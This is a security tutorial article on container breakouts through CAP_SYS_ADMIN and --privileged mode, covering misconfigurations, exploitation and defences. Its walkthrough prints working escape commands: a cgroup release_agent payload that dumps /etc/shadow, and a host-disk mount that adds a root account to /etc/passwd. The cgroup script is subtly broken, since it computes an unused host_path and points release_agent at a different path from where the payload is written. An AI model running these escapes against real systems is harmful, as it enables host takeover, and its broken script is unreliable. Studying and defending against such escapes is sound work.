Capabilities in Containers: cap_sys_admin Escapes

Capabilities in Containers: cap_sys_admin Escapes - article cover image Linux Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Linux capabilities split the historically all-or-nothing power of root (UID 0) into roughly 40 discrete privileges — CAP_NET_BIND_SERVICE to bind ports below 1024, CAP_NET_RAW to open raw sockets, CAP_SYS_ADMIN to perform a long, poorly-bounded list of system-administration operations, and so on. Container runtimes (Docker, containerd, CRI-O) use this mechanism to give containerized processes a UID 0 that is far weaker than a real root user: by default a container runs with a curated capability set with the most dangerous capabilities dropped, so that even a root-owned process inside the container cannot touch the host kernel directly.

CAP_SYS_ADMIN is frequently called “the new root” of the capability model because it was never scoped to one function — it is the catch-all bucket the kernel uses for operations nobody assigned a dedicated capability to, including mount/umount, several namespace operations, and access to sensitive /proc and /sys interfaces. When an operator grants --cap-add=SYS_ADMIN or runs --privileged (which grants every capability plus device access and disables seccomp/AppArmor), the container boundary is no longer a security boundary — a process with root inside the container can, in most configurations, escalate to root on the underlying host. This is one of the most common real-world misconfigurations found in container security assessments, because the capability is frequently added to make legitimate mount- or Docker-in-Docker workloads function, without the operator realizing the host-escape implications.

Attack Prerequisites

Breaking out via CAP_SYS_ADMIN (or full --privileged) requires:

  • Root (or a capability-carrying UID) inside the container — most escape techniques need to run as the container’s root user, which is the default for most images unless USER is set or the runtime enforces --user.
  • CAP_SYS_ADMIN present in the container’s effective capability set — granted explicitly via --cap-add=SYS_ADMIN/securityContext.capabilities.add in Kubernetes, or implicitly via --privileged/privileged: true.
  • No effective seccomp/AppArmor/SELinux profile blocking the relevant syscalls--privileged disables seccomp and AppArmor confinement entirely; a capability added without --privileged may still be blocked by the default seccomp profile depending on the syscall used.
  • Host cgroup or kernel filesystem access reachable from inside the container — e.g. cgroup v1 mounted with a release_agent file writable from the container, or the ability to mount host block devices/procfs entries.

How It Works

CAP_SYS_ADMIN grants access to the mount(2)/umount(2) syscalls (subject to the mount namespace), to unshare(2)-related operations, and to writing several files under /proc and /sys that are normally root-only on the host. Two breakout patterns dominate in practice. The first abuses cgroup v1’s release_agent mechanism: cgroups can be configured with a release_agent script that the kernel executes, as root, on the host, whenever the last process in a cgroup exits. If a container can mount a cgroup controller with write access and CAP_SYS_ADMIN lets it do so, it can point release_agent at a script it controls and then trigger the release event, causing the host kernel itself to execute attacker-supplied code outside the container’s namespaces.

The second common pattern abuses mount(2) directly to access the host filesystem: CAP_SYS_ADMIN lets the container mount the host’s root block device (if it is visible, e.g. via /dev/sda1 exposed with --privileged or a hostPath mount) or manipulate mount namespaces to reach files outside the container’s chroot/pivot_root. A container that can see a host device node and has CAP_SYS_ADMIN can simply mount it and write directly into the host filesystem — for example, dropping a cron job or SUID binary, or appending an SSH key to /root/.ssh/authorized_keys.

--privileged compounds all of this: it grants every capability, disables the default seccomp filter, disables AppArmor/SELinux confinement, and typically exposes all host devices under /dev inside the container. A --privileged container is, for nearly all practical purposes, equivalent to running the process directly on the host as root with a thin namespacing veneer that is trivial to escape.

Vulnerable Code / Configuration

The misconfiguration is the run command or orchestrator manifest that grants the capability. A container started like this hands the workload everything it needs to escape:

# VULNERABLE: full privileged mode — every capability, no seccomp/AppArmor,
# host devices exposed.
docker run --rm -it --privileged ubuntu:22.04 bash

# VULNERABLE (narrower but still dangerous): explicit cap add.
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined \
  ubuntu:22.04 bash
Bash

The same misconfiguration in Kubernetes, typically added to support a Docker-in-Docker CI runner or a storage/CSI sidecar without narrowing it further:

apiVersion: v1
kind: Pod
metadata:
  name: build-runner
spec:
  containers:
  - name: dind
    image: docker:24-dind
    securityContext:
      privileged: true          # VULNERABLE: full host capability set
      # or, narrower but still exploitable:
      # capabilities:
      #   add: ["SYS_ADMIN"]
YAML

Inside the container, the bug is confirmed by simply reading the process’s effective capability set — CapEff in /proc/self/status or capsh --print will show cap_sys_admin present when it should have been dropped:

capsh --print | grep -i cap_sys_admin
# Current: = cap_chown,...,cap_sys_admin,...+eip

grep CapEff /proc/self/status
# CapEff:	0000003fffffffff   <- privileged; effectively "all bits set"
Bash

Walkthrough / Exploitation

First, confirm the capability and the cgroup v1 mount availability from inside the container:

capsh --print | grep sys_admin
mount | grep cgroup
# cgroup on /sys/fs/cgroup/... type cgroup (rw,...)
Bash

Classic cgroup release_agent breakout (requires cgroup v1 and CAP_SYS_ADMIN): mount an RDMA (or any unused) cgroup controller read-write into a scratch directory, then point its release_agent at a script the attacker controls:

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/^\([0-9]*\):.*:\/docker\/\(.*\)$/\1/p' /proc/self/cgroup)
echo "$PWD/payload" > /tmp/cgrp/release_agent
printf '#!/bin/sh\ncat /etc/shadow > /output' > /payload
chmod +x /payload
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Killing the last process in /tmp/cgrp/x triggers the host kernel to run
# /payload AS ROOT, OUTSIDE the container's namespaces.
Bash

Direct host-disk mount breakout, when --privileged exposes host block devices under /dev:

fdisk -l 2>/dev/null | grep '^Disk /dev/sd'
mkdir -p /mnt/hostfs
mount /dev/sda1 /mnt/hostfs
echo 'container-root2:x:0:0::/root:/bin/bash' >> /mnt/hostfs/etc/passwd
chroot /mnt/hostfs /bin/bash
# Now operating as root directly on the host filesystem.
Bash

Note: The cgroup release_agent technique specifically requires cgroup v1; hosts fully migrated to the unified cgroup v2 hierarchy are not vulnerable to this exact primitive, though CAP_SYS_ADMIN still enables other mount- and namespace-based escapes (e.g. via nsenter into a shared host PID/mount namespace if one is exposed).

Opsec: Mounting a host block device or a cgroup controller from inside a container is unusual and will show up clearly in auditd/Falco rules watching for mount(2) calls by containerized processes, and in Docker/containerd event logs. Runtime security tools (Falco, Tetragon) ship default rules specifically for --privileged launches and for writes to release_agent files.

Detection and Defense

The fix is almost always to stop granting the capability, combined with runtime monitoring for the handful of syscalls that make the escape possible:

  • Drop all capabilities by default and add back only what is required--cap-drop=ALL --cap-add=<specific> instead of --privileged; most workloads need none of SYS_ADMIN, SYS_PTRACE, or SYS_MODULE.
  • Never use --privileged in production — if Docker-in-Docker or device access is genuinely required, use a rootless/sysbox-style runtime or scoped device passthrough instead.
  • Enforce with policy at the orchestrator layer — Kubernetes Pod Security Admission (restricted profile), OPA/Gatekeeper, or Kyverno policies that reject privileged: true and SYS_ADMIN/SYS_MODULE/SYS_PTRACE additions.
  • Keep seccomp and AppArmor/SELinux enabled — do not pair --cap-add with --security-opt apparmor=unconfined or --security-opt seccomp=unconfined.
  • Prefer user namespaces (--userns-remap, or Kubernetes user namespace support) so that container root maps to an unprivileged UID on the host, limiting the blast radius even if a capability is over-granted.
  • Migrate to cgroup v2 where feasible; it removes the classic release_agent breakout entirely and unifies capability-aware delegation.
  • Runtime detection with Falco/Tetragon rules for --privileged container starts, writes to */release_agent, and mount(2) calls targeting host device nodes from a container PID namespace.

Real-World Impact

CAP_SYS_ADMIN/--privileged breakouts are consistently among the top findings in container and Kubernetes penetration tests, since CI/CD runners (especially Docker-in-Docker build agents), storage plugins, and legacy workloads are routinely granted broad capabilities as a quick fix for a permission error rather than a scoped one. The cgroup release_agent technique in particular became a standard reference technique after being popularized in container-escape research and is now a default check in tools such as deepce, amicontained, and CDK (Container DucK), all of which specifically probe for CAP_SYS_ADMIN and --privileged mode as a first step.

Conclusion

CAP_SYS_ADMIN is capability-model root by another name: once it is present inside a container, the isolation boundary depends entirely on secondary controls like cgroup version, seccomp, and AppArmor rather than on the capability set itself. The durable fix is to never hand it out casually — drop all capabilities by default, add back only named, scoped ones, avoid --privileged outright, and enforce that posture at the orchestrator layer so a single misconfigured pod cannot become a host compromise.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL